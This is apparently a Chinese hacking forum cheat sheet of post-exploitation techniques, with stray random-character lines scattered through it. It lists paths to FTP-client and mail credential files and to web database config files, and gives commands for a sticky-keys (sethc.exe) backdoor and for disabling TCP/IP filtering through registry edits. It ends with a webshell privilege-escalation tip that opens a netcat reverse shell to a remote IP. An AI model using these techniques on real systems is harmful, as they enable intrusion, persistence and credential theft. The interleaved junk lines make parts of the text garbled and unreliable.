C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
; X7 Y" X, v( q1 |) o/ q- I* P* }7 x1 j" nc:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
) w- O* w; h% l6 }  G& Y' Qc:\Program Files\tencent\QQGAME\readme.txt
; j$ L  S0 Q9 N% o3 M  RC:\Program Files\StormII\Storm.exe

3.网站相对路径:
, U2 Y( F5 B$ B8 y/ l" C3 \
/config.php
2 t( H, E8 V+ u2 l4 J! Z! f../../config.php
" W# J+ F1 Y: O' ]../config.php
../../../config.php
/config.inc.php
./config.inc.php
8 F" f: r- L  C../../config.inc.php
../config.inc.php
../../../config.inc.php
7 ~# Z8 K" X! R/ S. B+ P/ D/conn.php
./conn.php
../../conn.php
../conn.php
../../../conn.php
/conn.asp
! m0 i; V- r+ k; |./conn.asp
../../conn.asp
* V6 Z- ]$ m9 Y, a5 R../conn.asp
../../../conn.asp
/config.inc.php
. [% V/ f  c6 `$ a2 x: i1 ^' l./config.inc.php
/ p: P7 i5 ]$ t7 L+ P. ~, C../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
../config/config.php
../../../config/config.php
. V4 T7 H0 w6 u2 q  z% s/config/config.inc.php
9 }1 B9 ?" G0 j! a./config/config.inc.php
../../config/config.inc.php
, u! v; ?7 \! Y../config/config.inc.php
6 ~8 W) e8 @5 I& ^: |../../../config/config.inc.php
7 B1 |- k$ Y/ e* ?% P1 r/config/conn.php
' B9 f! M* j/ D. f./config/conn.php
+ U7 K) s  m9 ]../../config/conn.php
2 _; X; {9 |2 Q" G: T9 U../config/conn.php
../../../config/conn.php
2 v6 j- S3 v/ t6 v6 K2 T! L/config/conn.asp
./config/conn.asp
3 ]) l1 [' d/ n' D* }: s6 m% V../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
8 \; T! R) q9 E/ f- ^: O./config/config.inc.php
$ g3 |& R! A( D/ N: ?/ p( [../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
- O2 h; X# @) k' v$ Q/data/config.php
0 r' `9 w0 R# R5 _4 D../../data/config.php
../data/config.php
& r( `0 B7 g! ]4 h( m../../../data/config.php
/data/config.inc.php
./data/config.inc.php
& A" `9 x1 y1 {4 u) i! S0 C& R../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
6 E# E! k( M% G# G/data/conn.php
./data/conn.php
../../data/conn.php
../data/conn.php
../../../data/conn.php
/data/conn.asp
2 i& R# G5 D2 Y: f./data/conn.asp
  b1 f1 f  w; E& p* b8 S../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
0 ]" _# p" d- q9 q, P, q- ^4 {; N  z5 A./data/config.inc.php
../../data/config.inc.php
9 M! U7 I2 |" b../data/config.inc.php
../../../data/config.inc.php
* ^* G0 J# t: h  Q& T) t. n, E/include/config.php
../../include/config.php
% K) t2 ~' Z  }; E7 E" d../include/config.php
../../../include/config.php
/include/config.inc.php
2 g. n/ }% _% x./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
. _; i+ {4 \- Y0 g9 I) _# F- A( Y2 c../../../include/config.inc.php
/include/conn.php
./include/conn.php
../../include/conn.php
../include/conn.php
../../../include/conn.php
( `# W$ E- p1 _9 G! D/include/conn.asp
./include/conn.asp
8 h7 C0 M8 V% b# A% i( U../../include/conn.asp
../include/conn.asp
6 T% a5 E7 x& v../../../include/conn.asp
% k) m4 K, \  _, y) U; ^/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
/ Y& C% m2 Y9 K. _6 v) O../include/config.inc.php
% s$ E8 S1 z6 B+ t6 W../../../include/config.inc.php
2 f3 ^$ y$ p0 X& J/inc/config.php
../../inc/config.php
../inc/config.php
../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
% W0 w$ ?8 _8 l1 z+ Y- _./inc/conn.php
2 `9 E3 `/ ~. x../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
: [% e2 U# _0 o: U/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
2 u3 T% B& c2 ]) S; _; a' v../inc/conn.asp
7 ~8 B7 f' |  x../../../inc/conn.asp
6 J+ f* ^8 K# x, I# X/inc/config.inc.php
./inc/config.inc.php
" r$ }) C+ I; j: d0 C../../inc/config.inc.php
6 J% s& l: K& b. w4 c5 H../inc/config.inc.php
* M* X6 e3 U5 V7 u$ V../../../inc/config.inc.php
4 ]& C! v1 @1 G5 O, }/index.php
( i  r; ?- F" G# l" D, r# T- w, ]./index.php
../../index.php
../index.php
../../../index.php
/index.asp
./index.asp
../../index.asp
* N$ ?+ X+ u6 W! h! S2 T, l../index.asp
$ V2 `: w. W  ]../../../index.asp
替换SHIFT后门
. |. K- n0 D- w1 p　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
% t% b, {8 `4 {, X: Z$ T$ h; {
& G, j8 `5 s0 F, L4 @+ _: R　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
; V7 |: Q0 s$ N$ WTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
, N9 Q+ g0 ^8 b" mHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

' ]7 Y+ [+ \. K5 O% y分别用
+ P$ C0 L; W3 g* |% x" G, {  nregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
% P, c$ ~( N3 M4 j6 k3 N( qregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
* @% T4 r7 T. Oregedit -s D:\a.reg
0 H+ c/ j: L% Tregedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可

6 y7 M6 {# {0 ?) I& C, ~webshell提权小技巧
7 a0 S9 \( u* ~/ L3 dcmd路径:
c:\windows\temp\cmd.exe
* D6 i  z5 |. e) Fnc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
& g! [( R$ ^3 ?. p; u0 X通常都不会成功。
! u3 [9 c$ |" j: O  V
* u% W) v1 x. a+ n) h而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
$ N- p/ K1 k( p0 I9 c; M/ t这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功